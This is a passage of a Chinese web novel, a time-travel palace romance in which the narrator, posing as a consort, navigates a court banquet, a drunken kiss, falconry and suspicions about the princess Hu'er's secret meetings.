清清凉凉的水包围着我们,瑚儿背对着我,水波反射的光点跳动在雪白的背上,让人忍不住想要捕捉,终于……仿佛触摸到了一块寒冰美玉,我的手指描摹着她背脊的形状…… “小飞,别闹了,痒~”瑚儿应该是被我扫痒到了,轻轻笑着抗议。 好真实,冰凉细腻的感觉,还有耳边瑚儿的撒娇,甚至可以感觉到,她额头不断蹭着我的脸,诶?蹭着我的脸?她不是背对着我吗? 我突然张开眼,看到屋顶,没有水,原来是一场梦!但是手指的触感还在,我正搂着瑚儿,手刚好在她背上。我赶快抬起手,歪过头,幸好瑚儿还在睡着! 我居然对她做着这样的梦吗? “公主,谦月大人,你们醒了吗?”感谢是冷语的声音,打断了我的自责,“今日要赴宴,得早做准备!公主,您起来了吗?” 对啊,今天还要进宫。我试着叫醒瑚儿,可是她因为宿醉而赖床,哄了一会才叫起来。 开门看到冷语一脸疲惫,也是无奈,一夜间赶路几十里谁也吃不消吧。 正装穿戴完毕,我们就和金奴汇合一同进宫了。路上的热闹延续到宫中,只是演奏的乐曲中多了几分庄严。 被侍者引到按照安排好的座位,我自然得和金奴在一起。未成婚的皇子和公主没有特定坐席,而是聚集在离皇帝较近的一个区域,瑚儿那几个年纪小的弟弟妹妹们还可以提着灯和花穿梭打闹,好不欢乐自在! 我们这边嘛?!都是按照品级排序,桌上餐食大多一致,水果点心很丰富,就是没有什么热菜,还需要随时听着礼官提词,跟着敬酒。哎,难怪瑚儿说没什么意思!九轮敬酒之后,歌舞表演才进入场内,总算能放松一点点了! “驸马,我敬你一杯”金奴举起杯看着我,我不明白这是闹哪出,只好应对。 “喂我吃点水果吧!”金奴放下杯栖身过来,不由分说将一颗葡萄塞进我嘴里,还一脸“幸福”的笑着,几乎没有动嘴的小声要求我也喂她水果。 啊,今晚要求秀恩爱吗? 我不自觉瞟向了瑚儿那边,她还真的看着这边啊!可能等了太久,金奴在桌下用手指戳了戳我,我转而看着桌面,看看什么水果好呢? 香蕉?见我手的趋势,金奴小声说“认真点!”可能觉得一口吃不了,或者吃起来不好看?! 橘子、荔枝还得扒皮! 杨梅吧,这个挺大挺好吃的!我用手巾擦了擦手后,拿起一颗暗红的杨梅送向金奴,她看了眼,没有动,我不自觉又看向瑚儿那边,没注意到金奴已经将杨梅一口吞下,手指感觉到温热的嘴唇,我忙想撤回手,却被金奴抢先一步握住,她随即松开又轻轻拍了拍我的手背。整个画面在外人来看,像是小夫妻的温情互动! 她在干嘛啊!?我内心喊着救命,却见瑚儿和姐妹们说笑着,干下了一杯杯酒,不再看我!我也有些觉得气闷,自斟自饮的喝起闷酒,金奴倒是没有再在做什么,而是起身去和一些命妇们敬酒闲谈…… 一瞬之间,舞乐的热闹好像一下子和我无关了,我只是担心瑚儿怎么样,她昨日就饮了不少酒,今日又有这样的热闹气氛,她已经脸色红润,怕是又要喝多了吧!想着,我起身想往那边去,却被一个侍者拦住,他俯身为我添满了一壶酒,借机贴近我说:“王妃说曹大人还是坐在这为好!” 王妃?我四下望去,对上了一位故人的眼光,竟然是谦月曾经的侍女,现在的郡王妃-狄远。她遥望着我,对上视线后,她微微摇摇头,示意我不要乱来。随即她身边的夫君见我看着他们,举起酒杯隔空邀我共饮,我赶忙回敬。虽然又喝了点酒,但是我却突然清醒了很多,这可是皇宫,有多少人看着,我竟然要在大家面前去对“小姨子”表示关心吗? 接下来,我不敢轻易再喝,打算等回去再好好照顾瑚儿吧! 结果没想到,先“醉”的人居然是金奴。她晕晕的回来,靠在我的肩头说回去吧。我们拜别皇上等长辈,就拐着瑚儿乘车离宫了。 马车驱动的瞬间,金奴就从我的肩头离开,轻轻打了哈欠,倦是倦了,但是没想到醉却是装的。瑚儿被冷语拥着,已经有些昏昏欲睡! 我正想问金奴今晚为何如此?却被一个人拦住了去路,掀开车窗帘一看,居然是我快忘记的向大人,“家中突然有事,不知可否与帝姬驸马同乘?”未等我开口拒绝,就被金奴应允了! 车内向子房有一句没一句的夸着金奴,也奉承我两句,我懒得搭话,任由他尴尬。幸好,他很快就到地方了,借着他下车,我看了眼他的目的地,一座不大的宅院,比心园大一点点吧!门口一位二十左右的小妇人抱着一个大概一两岁的孩子,迎了上去,“良儿,爹爹回来喽”,向子房接过孩子和妇人一道进入院内。看着一家人和乐的模样,我不由得叹气,明明已经算幸福了吧!何必要追名逐利呢?马车继续向前,没走出多远,就有惊叫声再度传来。 “大夫,快请大夫,救人啊!”一个女子的声音响起,我探出头看,向子房宅院内跑出一个下人,院内的人喊着嘱咐他“去找刘大夫,他离咱们近,快,快!小姐快不行了!” 我们也停下了,我急忙下马车去查看,来到屋内,看着大家围着一个穿着红棉衣的女娃娃,比刚刚门口的孩子小一点,脸色、嘴唇红紫,张着嘴想呼吸却好像吸不到气,眼睛半睁不闭,很是痛苦。又一位年轻妇人正抱着她哭喊,“大夫到了没?少爷,救救兰儿!” “你们是怎么看的孩子?”向子房也急得团团转,只能怒吼着“快催催大夫,快!” 这是噎着了吗?我看着孩子的情况问到“孩子吃了什么吗?” “好像是荔枝!”少妇人哭着说,“平时都去好了核儿才给她吃,今日没看到她自己抓来吃了……” 我咬咬牙,试试吧!我单膝跪到地上,一把抱过孩子,把她转过来脸朝下放在膝盖上,一手拖着她的头,然后另一只手用掌根用力拍打她的后背肩胛骨中间,大概拍了五六下,她就咳出了声,吐出了那颗荔枝核儿,随即大哭起来。她的妈妈忙接过孩子哄着,向子房也蹲下安慰着她们。我坐在地上舒了口气,幸好,这办法有效!以前b站也是没白刷了! 我轻轻擦了擦汗,这下酒是彻底醒了。感觉不错!撑起身,我一面整理衣服一面往外走,后面传来妇人哭着道谢的声音,我摆摆手“你们一家人好好过年吧!这小家伙也能走了,真得好好看着点!” 走出门口时,与背着药箱赶来的大夫擦身而过。我正准备上车,却瞥见巷子口有个身影,身穿正装华服,好像是今日同赴宴的人,但是我实在想不起是谁,应该不认识。上了车,我和金奴说好像有人跟着我们。金奴笑着说不必在意!到了万福园,金奴下了车,象征性的问问我们要不要一起,瑚儿却摇着头。我们便继续往心园走,路上我特地留意,那个可疑的人并没有跟来。 扶着瑚儿回到房内,我便让冷语去休息吧。而后我打来一盆热水,想为瑚儿简单擦擦脸,她却难得的不肯配合,她别过头躲着我手里的毛巾。 “怎么了?”我怕碰疼她,便不再执着和她博弈,而是直接问起,“是不是还难受,要不要喝点水?” 瑚儿没有回答我的问题,而是轻轻的问“小飞,你今天开心吗?” “我,挺开心的!进宫面圣还和那么多人一起把酒言欢,没道理不开心啊!”我言不由衷得回答着。 “我们快不快乐好像没有人在意啊!”瑚儿摇摇头叹道,“大家好像只在乎女子什么时候嫁人、嫁了什么人、嫁人之后夫妻看起来和睦不和睦、持家好不好……” 是啊!瑚儿近日风头正盛,可是大家也只是笑说,这么精明能干的公主,将来真是夫家的福气。大家并不真诚的承认女子的优秀,而是用早晚该嫁人这点来概括她的未来。嫁了人呢?会讨论她嫁的好不好、配不配,而后在讨论她能为夫家做什么?好像女子一生的评价都得绑在妻子、母亲、女主人这些身份上!根本没有自己! “我知道,瑚儿是了不起的女子!善良、认真、努力”我再一次为瑚儿擦拭着脸,她没有躲开,“你想要的都会如愿的!” “我想要的是什么?小飞你知道吗?”瑚儿闭着眼轻轻的问。 “你……想要永远新奇有趣的生活,对你情有独钟的爱人……”我回忆着与瑚儿相处以来,她说过的话。 “情有独钟……爱……”瑚儿喃喃的重复着,不禁笑了,“爱是什么?爱应该是什么样子的?” 她挣扎着想撑起身子,我只好扶着她坐起来靠在床头,我想喂到喝点水会好点吧!便起身去倒水,却听她在身后继续似乎是自言自语的说着,“我一直以为爱应该像芊寻谦月那样心有灵犀、生死相随,但是谁会再有那样的际遇?何况我不能………” “心意相通?……”确实,听着瑚儿的感慨,我想起那段我曾经几乎亲身体验的悲歌。就算能有那种缘分,又需要多么大的勇气和坚定,她们可以为了对方活下去而付出一切,却依然有那么多隐瞒和苦楚……我们寻常人又该追求什么呢? “我们没有那种际遇,所以我不知道你在想什么?”瑚儿突然像是生气了,“不知道你为什么和姐姐情意绵绵,为什么和什么王妃眉目传情……我也不知道我到底在……”她双手捂着脸,好像在懊恼着什么? 你在生我的气吗?“都不是你看到的那样!”我急忙到她身边,我想说你说的和今晚发生的完全不是一回事! 但是没等我说完,就被瑚儿突然扑倒在床上,她按着我的双手置于头旁边。 “我不想再想了,我们不想那么多了!好不好……”瑚儿跨坐在我的腰腹上,发丝微乱、眼神迷离的看着我,“小飞,我们一起吧!” “一起什?”回答我的是瑚儿突如其来的吻,不是简单的嘴唇碰触,我感觉到她凉凉的舌尖在我口中没有章法的侵略游走着。很微妙的感觉,我竟然没有抗拒的想法,我不自觉的想伸手抱住她,再紧一点的抱住她,可当我手微微动的时候,瑚儿以为我要反抗,从而加大了力气按住我。空气逐渐稀薄,我们都没有更多的动作,瑚儿也似乎是快要没法呼吸了,才在狠狠地咬了我的下唇后放开我! 好痛,咸咸的味道,应该是流血了。 唇齿终于分开,我张大了眼睛看着瑚儿,努力恢复呼吸。瑚儿却倒在我的肩头,用微凉的鼻尖轻轻蹭着我的脖子喃喃得说“你也不会是吗?” 我当然,不会啊~天如意没领我去看那些,“我……不会”我嘟囔着说,不对!我不是应该回答这个,我得问清楚现在是什么情况才对吧! “床头柜子里有芊寻给我的图谱……”瑚儿的声音越来越轻,我轻轻唤着她,她没有再回答什么,竟然睡着了!你这是累坏了吗?还是缺氧晕过去了!? 轻轻将她翻转到床上躺好,我竟然鬼使神差的真的打开了床头的柜子,里面是一张折叠好的厚纸。我展开纸张,被里面的内容震撼,想起当时她慌张的样子,她说芊寻给她让她练功健体的。虽然信件没有一起,但是这个图谱折叠的厚度和样子,我是认得的!天啊,真的是芊寻给她的!我看着这些图画,从构造到后来的姿势,女子之间当真可以这么亲密快乐吗?我感觉喉咙好紧,内心像是那个动图-土拨鼠尖叫。虽然,以前我也或多或少看过一些亲密的情节,但大多是男女主之间的,不知道天如意领她去青楼看到了什么,配合着这详尽图谱,她到底是怎么想的?难道她和女子做这种事,可以缓解寒毒?那她愿意吗?想吗?想和我吗? 奈何她已经睡着了,我要不要明天和她问清楚? 收好图谱放回原位,我犹豫着为她褪去外衫,但没法像她自己脱的那么坦荡,我直接将被子拉过来给我们盖上,努力平复着燥热的情绪和身体。 稀里糊涂的艰难入睡,梦境更是糟糕,如果以前只是梦到和她坦诚相对,如今对她身体的渴望,也变得热切而具体,梦到的都是过不了审不能播得内容……我知道自己完蛋了,有些情绪像是被打开了开关,回不去了! 71、无痕 “小飞~我教你啊~你可以……”瑚儿牵着我的手抚摸着她,伴随着手的游走,我们的唇再一次贴近,仿佛共享着呼吸……感觉到她的气息扑在我的脸侧,好痒!我微微动了动头,醒了过来,幸好是梦!但我真的觉得是幸好吗? 我们依然像往常一样自然而然相拥而眠,可我突然有点无措,轻轻的抽出压在她身下的手臂,转过身背对着她,还是觉得炽热难平,却被她嘟囔着冷而贴抱过来。 我不知道该怎么面对她了!我无法心无杂念的和她这么亲近! 可是她却忘记了,早上起来她还晕乎乎的,吃早餐时说只记得昨晚上了马车,然后向子房的事根本不知道,怎么回的心园也想不起来了。 “小飞,我昨天失态了吗?”瑚儿揉揉头问着,“你的嘴怎么看起来肿肿的?” 我勉强笑着说,是不小心磕到了。这小丫头不认账了啊!o(╥﹏╥)o害得我也不由得想自己是不是因为喝多了做了奇怪的梦,可是下嘴唇内侧那一动就疼的伤口,却是她吻的遗迹。 新年休沐的日子里,很多同僚会相互拜年串门,所以我整日往返于万福园和心园之间,我得感谢这热闹的忙碌,不然我一定会一刻也停不下来胡思乱想。芊寻为什么要留下那样的东西,这真的可以救瑚儿吗?瑚儿对于同性别之间的相恋和亲密到底是什么态度呢?为芊寻和谦月所感,被郑鑫、天如意所恐吗?她的誓言我还记得,为了拒绝天如意,她说此生不会爱上女子,否则孤独终生。 瑚儿,你会改变吗?如果会,那是为了解毒勉强自己还是为了一路以来相伴的我。 嘴里的伤口逐渐愈合,那夜的痕迹正在消失,终会没有痕迹…… “驸马!这是我们的一点心意!”向子房带着妾室蕙兰登门拜年,还带了礼物道谢,感谢我那日救了他们的小女儿。我本想推辞,却见她双手送上一件花花绿绿的小衣裳,“这是百家衣,还差一两块布就完成了,只需您自家补上寓意圆满,听闻公主好事将近,这个虽不贵重,却是买不到的,还请曹大人代为收下!”说着鞠躬不起,看来只得收下了。虽然用不上,他日给需要的人也好。送罢他们,我见时候也不早了,便带着收到的几件新鲜玩意往心园回。 路上还是觉得有人鬼鬼祟祟的跟着,我便在心园外和冷岩他们嘱咐多留心。因为心园不大,冷岩觉得住着不便,所以便带着几名护卫住在了心园附近的民房里。冷岩说早已留意,若是再有出现定会拿人! 推开门,瑚儿正在写着什么。我便将今日收到的觉得有趣的东西展现给她,当然还有那件小百家衣。 “还差一两块布,我们找找家里有没有,可以缝上去”我看着瑚儿还蛮有兴趣的,“当秀秀女红了!” “哈哈,我的针线啊~那真是……不提也罢!”瑚儿无奈的摇摇头,每个人确实也有没有天赋的事情呢?“不过练练也行,十五妹好像快生了,我好好完成送给她!” “当然你也得陪我一起练!”瑚儿说着找出一些针线“咱们比比谁绣的更好啊?” “啊?我针线也不行啊!”补个袜子还行,绣花?可真是太挑战了!奈何拗不过她,只好硬着头皮被要求绣“喜乐”两个字,她则绣“平安”。这不平等条约啊!!繁体的乐字我都写不明白!(╯‵□′)╯︵┻━┻。瑚儿“贴心”的为我在布上写下了乐字,然后努力开始绣起来。慢慢的,我发现沉下心来把精力放在一针一线上,真的可以缓解忧虑和不安,我几日来难得的平静,不再想我和瑚儿如同打结的线那般理不清的纠缠。直到…… “不错呀,小飞!”瑚儿的呼吸突然擦过我的耳边,我才意识到刚刚绣的太投入,她已经贴的我很近了,我忙着闪开,连手上的针线都丢下了。瑚儿见我如此慌张,俯身捡起布片,轻轻掸着灰,然后笑着问“这么怕?我能吃了你不成?”随即,她微不可见的轻轻叹着气。 “突然出现在背后谁都会害怕吧!”我不想让她觉得我敏感和异样,就装作调又戈似的绕到她身后抱住她,故意在她耳边说话“我怕,我忍不住想吃了你!小娘子~”好油腻抽风的举动,我到底在干什么!?太奇怪了,我感觉我们之间的心跳止不住,因为近距离的贴近,不确定是不是只有我的心在狂跳。除了刚刚说话时感觉她微微颤动了一下,她居然没有玩笑似的反抗或逃跑。可是继续抱着她,我又觉得心跳搂不住了! “打平了!”瑚儿轻轻的说,我注意到她手中的两块布,摆在一起,“平安喜乐”! “哦~对啊!”我顺势起身坐到她对面,“天色还早,我们缝上去吧!” 饱含心意却见证着我们尴尬的百家衣就这样完成了,只不过没能如愿送到她妹妹手中。 以往我如果动过针线后都会觉得头疼,所以晚上睡得更加迷迷糊糊了,半梦半醒之间,我总能感觉到瑚儿的额头、鼻子在轻轻蹭着我的脸颊,可能是冷了在调整姿势吧!“乖啦~瑚儿,我在的,好好睡吧!”我迷糊的贴近她回应着她的动作,我好像轻轻亲吻着她的眉间、她的鼻子,留恋着嘴唇上的清凉…… 经过年假的休养,我终于快炼成国宝了,黑眼圈是越来越重了!我想问清楚她的想法,却也贪恋着和瑚儿这样的耳鬓厮磨! 挨到了上班的日子,出门时却终于逮住了那个一直跟踪我的人,冷岩将他压着带到心园旁的小屋里。见他斯斯文文的,不像歹人,便让冷岩松开了他,他坐好后,我便单刀直入的问他跟踪我们多日的理由。 “在下蔡傑,原任青州召宣使,年前调回京城!”他开始自我介绍起来。 “你还是直接说原因吧!”我实在没兴趣听他自报家门。 而后他说听闻我年轻有为,想结交一下,这一眼假的借口!在我听不下去走人之前,他才逐渐进入正题,旁敲侧击的问起金奴的情况。渐渐的他恳切的规劝我,金奴是一位很贤良的妻子,知书达理,既然已经娶了她,就不该和另一位帝姬纠缠不清,还另立宅院,这样既伤了她的心也让她受辱蒙羞!哦,原来是金奴的倾慕者啊!金奴似乎也知道他,难道夜宴当日我们假恩爱的观众是他!?互相教育了一番,我便将他放了,好歹是朝廷命官,也不好私自处理。 到了枢密院,我拿着买好的坚果零食主动找同僚们打听起蔡傑来,原来是太师的亲侄子,不过他爹爹自恃品行高洁,与蔡太师政见不同,从不往来,他的仕途也是相当不顺,在偏僻州县苦了六七年才调回京城做了个从五品官。蔡太师又比较支持金奴的大哥,所以他们似乎没有深交的理由。但是从他的态度还有夜宴那日金奴的反常,我还是觉得可能别有隐情。 能溜之后,我自然是想快点回家和瑚儿分享这奇闻轶事,却又恰好碰到了秀安王妃-狄远。我对她的感觉比较复杂,她是谦月的侍女,和谦月一起长大,心仪谦月,纵然谦月利用过她,却也为她的归宿做好了打算。而且她知“我”是女子,却和金奴一起设计逼我成婚,过后又多次相助保我平安。她对“我”也就是谦月,是不是又爱又恨呢? “少爷最近都好吗?”狄远为我倒了一杯热茶,我们在万福园附近的酒楼二楼里叙着旧。她的话把正在看着窗外洋洋白雪,回忆“往昔”的我的注意力拉了回来。我该和她说点什么呢?先客气道谢吧!她听了,轻轻摇头笑了笑“我刚刚从万福园那里回来!”她好像确实经常出入万福园,只是我们很少碰到,“老夫人身体不如以前!少爷不考虑留在家里吗?” 家?现如今也许心园更像我的家吧!我摇摇头。 “就打算这么一直和成德帝姬纠缠不清吗?”狄远突然问,眼中竟有些不甘,“大少奶奶……雪姑娘就被您这么遗忘了吗?”芊寻心里的人自始至终都只有谦月,我现在也在四处打探找回谦月的可能。也许在狄远心里,见证了谦月和芊寻的爱,如今的我更像是陈世美吧!她是金奴的有力助手,若是让她怨怼只怕未来会有不必要的麻烦。 “你觉得,我像你记忆里的二少爷?或者二小姐吗?”思来想去,我决定说一个半真半假的答案。她不禁张大了眼睛,从新上下打量我一番。 “样貌无二!举手投足间的感觉、说话的用词?”她略微迟疑的回答着“确实不像!你是何人?小姐呢?” “我是谦月的孪生姐妹,出生起就跟着师父、师叔”我起身缓缓的讲述着,“大约一年前谦月重伤难治,怕芊寻以死相随便与你演了那场戏,她一直觉得有负于你,但是郡王也求娶你多次,谦月便不再解释,只希望你有个好的归宿!……我顶替她参加了科举,没想到机缘巧合成了驸马……” “那小姐现在何处?”狄远轻轻拭泪,急迫的追问着谦月的下落。 “她和芊寻去了大理养伤,若是将来有缘应该还有再见的机会!”我安慰着她,除了我的身世,其实大多是真的,也有美好的愿望! 她深吸了几口气,渐渐平复了情绪,只是眼睛还红红的。她缓缓走过来,在一臂远的距离停下,眼神有些难过的看着我说“果然像!……果然又不是!” “王嫂自重!”瑚儿突然推门而入,快步搁在我和狄远之间,说着“她不是你家小姐,她是……她的孪生姐妹!” “帝姬!有礼了”狄远愣了一下,随即行礼说道“我已经知道了,既是三小姐,而你们情谊深厚,日后我依然会多多相助!” “呵呵~”我们回去的路上,踩着吱吱的白雪,我回想起刚刚的经历,不禁笑出了声,我们俩的谎总是能撒到一起去,是不是也是一种心有灵犀。 “你笑什么?”瑚儿抱着手臂没好气的说,“秀安郡王非常宠老婆的,要是知道你们私会,定然是饶不了你!” “哦”我应和着。 “认真点!以后不要顶着谦月的脸招摇撞骗!”瑚儿气鼓鼓的说着。 “遵命!知错了!”我做请安状。 “错了就快点过来,我要冷死了!”瑚儿跺着脚催我,我忙靠过去,紧紧拥着她一起向心园走去。 “罚你今晚把这些山楂果洗好、蒸好、去籽再打成泥!”瑚儿说着将一筐山楂按在我怀里。 “哪里来的?”我不禁问。 “本公主有商船,天南海北什么运不来,何况是区区山楂果”瑚儿傲娇的说着,“别打岔,快去弄!弄不好不准睡!” 领命去处理山楂了,心里却美滋滋的,毕竟今天的她好可爱,而且山楂也是为了做汤圆给我吃呢! 忙忙活活到了快三更,她却没有丢下我一个人弄,我让她回去,她嘟囔着说睡不着。我们加快了动作,终于将山楂泥装坛封好埋在院子里,我就搓着瑚儿的手臂拥着她回去休息了。 雪地里留下了我们一起驻足过得痕迹…… 72、答案 元宵节在热闹中度过了,如愿吃到了山楂汤圆,居然和记忆里妈妈做的差不多!我开心的有些得意忘形了,居然抱着瑚儿久久没有松开,也许也是我的私心作祟吧! 还未出正月,梁山兵众就领命去征讨方腊了。 我犹豫再三还是和瑚儿商量着要不去送送行吧!瑚儿似乎也了然了他们的归宿,征辽大胜朝里高兴的人有,不高兴的更多,梁山兵众越强就越让人不放心,方腊盘踞一地也是玩命的主,等待他们的会是什么呢?毕竟治国之道她看得多了!我们能做的就是尽量看看能不能让他们少点后顾之忧吧! 送别的地点选在了曾经的忠义厅,多数好汉在此痛饮。为了不让大家难堪,我和瑚儿请教了安神医,装了一个假肚子,这样酒就自然都是我来喝了!毕竟这厅里的人,此一别后将有大半变成孤零零冰冷冷的牌位,这就是梁山的结局。 很多人送了我们一些礼物,在无限的热闹中,他们誓师出征了…… 傍晚,我和瑚儿站在山岗上看着他们离去的队伍,我不自觉的哼唱起了一首歌,“天之涯、地之角,知交半零落……一壶浊酒尽余欢,今宵别梦寒……” “还好,我们还有彼此……”瑚儿轻轻的抱着我,“回家吧!” 汴河上结的冰已经解冻,春天来了!这日和瑚儿着核对《问心》,已经答得差不多了,算起来谦月回来的日子也只剩八个月了。南北各有战事,我打算陪瑚儿给金奴交卷以后再决定去往何处! 忽听得,院内青儿的叫声激烈起来,赶忙过去把它放下来。 “那以后如果我们远隔千里万里,就指望它传信呗!”这是瑚儿的美好幻想,可是鹰这种动物出生第一眼看到谁就把谁当妈妈,没鹰教它,她可能要做一辈子走地鸡了。 自从梁山归来,解珍解宝兄弟送给我们的礼物中有不少训鹰的东西。勾起了瑚儿飞鹰传书的梦,我们想着利用院内秋千旁那个高高的灯笼架,用篮子把青儿吊上去体验高空。可惜,它虽然喜欢高,却毫无飞翔的打算! “要是我能飞就好了!”瑚儿无奈的抱着青儿感慨。她还考虑自己穿着白羽衣用绳子吊起自己“飞一下”,激发青儿的天性。 飞?我想起在枢密院藏书阁看到的墨家机关书籍,里面有可以滑翔的“大风筝”制作图,和梁山巧匠沟通研究数日,终于造出了一个大大的可以承担一个人重量的滑翔翼。我用麻袋拟人试了几次,应该可以载得动瑚儿。 如果你想飞,我就陪你一起疯吧! 这日,春风和煦、绿草茵茵,我和瑚儿带着青儿来到一座山谷,我早已在此试验多次,狭长的山谷穿过较有力的风,我策马拉动滑翔翼就可以保证它低空飞行几十米。 瑚儿将青儿放在地下,我为她穿戴好后,拉着她的手给她打气。 “小飞,我相信你”瑚儿看着我说“而且我也等不及想体验一下大鹏同风起的感觉了!” 我骑上马向前,随着绳子被拉直,瑚儿真的飞离了地面,“青儿,来,跟着我!”我不禁回头看着她,她正开心的笑着叫青儿,我们对视一笑。青儿一声啼叫后居然真的跟着瑚儿飞了起来! 出了山谷是一片平缓的山坡,我忙下马,让马自己向坡上走,自己则回头准备迎瑚儿。 因为速度降下来,加上没有了强风的支撑,瑚儿正缓缓下降,被我稳稳的接住! “小飞,我们做到了!”瑚儿扑在我怀里兴奋不已,“青儿会飞了!”说着她又紧紧的抱了我,我也抬起手臂要加深这个拥抱。她真的是太开心了,居然在抬头看了眼青儿之后,亲了我的脸颊一下。 青儿在天上盘旋着,我想起解家兄弟送的护臂,赶快取出套在瑚儿右手臂上,瑚儿抬手唤着青儿,青儿就真的飞下来落在上面了。瑚儿逗它,它就贴着瑚儿的手撒娇,但是我凑过去它就别开头!(¬_¬) 我当时还没有意识到,这个“妈宝鹰”将用一生表达对我“抢走”它妈妈的不满。全然不念及我熬夜喂她的岁月。 未来它总是在送信之余丢我石子,落在我跟前也从不看我,不是别过头就仰起头恨不得厥过去的样子。 “瑚儿开心吗?” “当然啦~” “怕不怕?” “不怕,要是真的怎么样了,你不得负责我一辈子!”瑚儿戳着我的酒窝说着,随即看了看天空感慨“飞的真高啊!” “是啊!我试的时候没有这么高!”我有一丢丢后怕的说着。 “为什么呢?”瑚儿也思考着。 “可能是选的麻袋太重了!”我思索了一下回答道。 “多重啊?” “一百二三吧!”我是怕飞不起来。 “我哪有那么重!”瑚儿说着跳起来扑到我背上,“你说呢?” 我赶忙挽起她的腿将她背好,“泰山压顶啊!”其实一点也不重,她应该再多吃一点。 “小飞,背我飞回家吧!”瑚儿拍拍我的头,随即张开双臂。 好~ 这个三月春天里的场景也被瑚儿写进了问心里…… 当我们把《问心》交给金奴时,她随手翻了翻便放下了,“小妹,这就是你的答案吗?” “是的,二姐!”瑚儿认真点说着“这百日我们做了很多!这便是我的感受!” “你敢保证以后不改了吗?”金奴笑着问。 “当然……不敢”瑚儿也笑了,“一辈子那么长,我肯定也会长大的嘛!可能会有新的感觉替代,但是既然是问心,不断走下去,明白自己的心就好了!” “看来小妹已经长大了!”金奴看着我们,“你的婚事,我会想办法拖延的!” “公主,蔡大人求见!”侍女敲门请示,打断了我们本来也快结束的对话。 “不见”金奴扬声回复着,随即喃喃着“不见了~” “二姐,这问心?”瑚儿坐到她跟前问着。 “留着吧!我当闲书看了解解闷,我看你还画了图呢?”金奴又拿起书来翻,“哟,骑马放风筝?” “好了,有空再看啦!”瑚儿按住金奴的手,“我是想问,姐姐是在哪里得来这些问题?难道和蔡大人有关?” 金奴听了瑚儿的提问,微微差异了一下,很快又叹了口气说道,“人世间有两种人最讨厌,一种是你想见时,他不来;另一种是你不想见时,他却苦苦纠缠!蔡傑,两种都占了!”金奴站起身来到窗前,背对着我们,简单讲起了她和蔡傑的过往,有缘相识、情投意合,书信间畅谈了很多,也试探了很多,就成了问心。可是蔡傑终究是放不下作为完人的追求,不攀附、不参与继承人的站队。就这样两人错过了心和缘。 “不耽误他清高了!”金奴又轻轻叹了口气。 “那姐姐你的答案都是……”瑚儿不禁追问下去,自从我和瑚儿说起蔡大人的事,她也发现了蔡傑天天躲在万福园附近,不知她们二人还有没有解开心结的一天。 “不重要了”金奴转过身,面色已经恢复了往常的云淡风轻,“早已没有人在意答案了……我自己也是!” “公主,您该服药了!”侍女送进来一碗药。瑚儿忙问金奴有何不适,金奴就说自己倦了,补补身体,然后就送我们离开了。 瑚儿的这本《问心》我从来没有机会看全,后来在离乱中散失了,瑚儿也说不必觉得可惜,毕竟如她所说,问心也只是那时的心境,也许总会有变化的,不变的只是要在乎自己的心这件事。但是这里真的有一页被她珍藏着,是她认为一生中最快乐的时刻,永远也忘不了。这一页后来被夹在了她写给我的书信里,如果你们有耐心还想听,有缘我再告诉你们吧! 百日问心,我们已经交给了金奴答案,她也兑现了诺言! 几日后,瑚儿进宫看望皇上皇后,皇上提及她的婚事可以推迟了! “真的可以不嫁了?”我着急的问着从宫里回家的瑚儿,她一回心园就开始收拾东西,“那怎么还要逃难吗?” “不是,”瑚儿打开一个布包说着“我在找这件百家衣!” “送给谁啊?”我自然要接着问。 “二姐已经有二个月身孕了!”瑚儿扯出一个假笑“恭喜啊!驸马爷” “谁?金奴?”我震惊了,随即靠近瑚儿压低声音说“不会和你一样是装的吧!?” “真的,太医已经诊过脉了”瑚儿推开我说着,“那日我们不也看到姐姐喝药嘛!” “这和我肯定没关系啊!我什么情况你不知道!”看她对我爱答不理的,我觉得无辜,“我是该有的有,该没有的没有,我哪有这本事!” “哼~”瑚儿白了我一眼,“你这个品种还真不好说?不过日子对不上,放过你了!” “会不会是蔡傑?”我凑过去说。 “不管是不是?父皇说姐姐求说我们感情深厚,让我照顾好她孕期、生产,婚事就以后再说了!”瑚儿接着叫冷语一起来收拾,就这样我们暂时搬回了万福园。 我对于孩子父亲的猜测,后来因为蔡傑找我而确认了。他们是余情未了吗?我总觉得不是,毕竟时间太刚好了,仿佛只是她需要这个理由。而且我们眼中的金奴,也没有那么儿女情长,也许她的心曾经有过裂缝,但是早已经对这个迂腐怯懦的人关闭了。再没有人知道金奴想要的到底是什么?而她也不喜欢被人看明白! 幸好,她也从不是我们要了解的人! 当时,我身边的人、心里的人都只有瑚儿,对未来我们也有很多打算!虽然没有挑明心意,但是我相信我们的关系会渐渐清晰明朗,可没想到却迎来了波折。 春深花开,回到万福园也有些日子了。近日开始,我发现瑚儿总是神神秘秘的,经常不见踪影,问了她说忙碌经营!若不是有日被我看到有马车将她接走,我都没想到她居然在瞒我。她去见谁?我问了她会说吗?从相识以来,她的身边好像很少没有我,如今是怎么回事? 犹豫关注了几天,秘密的见面似乎依然在继续,我的心已经乱到了极点。这日终于看到那辆马车停在万福园不远处,我决定一探究竟,便在附近茶摊等着,直到马车如常接走了身穿斗篷遮住头脸的瑚儿…… 73、无言 马车绕了几次路,才停在一座庄园门前,一位身着青衣的女子等在那里,迎着瑚儿下车,又热情的拥着她进了庄园。 女子啊?呼~舒了口气,但是为什么这么神秘呢?她的身形看起来有点似曾相识啊!来都来了,不能让疑惑再压在心里。 绕着院子走了一圈,我发现有棵树很高,虽然离院墙很远,爬上去也跳不进院子里,但是可以看到院内的情况!用外衣做了和简单的攀爬工具,废了点劲还是蛄蛹上去了! 刚好可以看到庭院中假山上的亭子里,瑚儿和那女子坐在一侧,二人正认真的看着眼前的笼子,笼子里有一只白色的小兔子,额,这是养宠物呢?突然女子抬起头,我看清了她的脸⊙?⊙!惊得我揉揉眼睛确认了几次,居然真的是天如意!!那个本来早就“死去”的瑚儿的追求者。 当时是冷岩将她的“遗体”带走,难道她真的是假死!越王已经东窗事发,如今她又是替谁办事呢?而且她又回来追瑚儿了吗?瑚儿又为什么对她友好很多?我在树上如考拉一样的思考着! 又见她站起身踱步和瑚儿说着话,然后居然双手搭在瑚儿肩上,头也靠近了瑚儿的脸!是说话还是亲了上去?!我尽力向前探着身子,却被天如意的身体挡住看不到真实情况。急得我一拳锤在树上!不想却惊动了不远处另一棵在院内树上的人,也是一个身着青衣的姑娘,和瑚儿年龄相仿,相貌较好却面色难看。我们都发现了彼此,对视了一眼后,默契的继续盯着亭子里的一举一动,但是瑚儿很快便起身离开了。 正当我满腹狐疑准备跟上瑚儿时,却被那位“树友”示意我别走。也算是被她的护卫“留下”了,我被带到了附近的一个酒楼房间内。 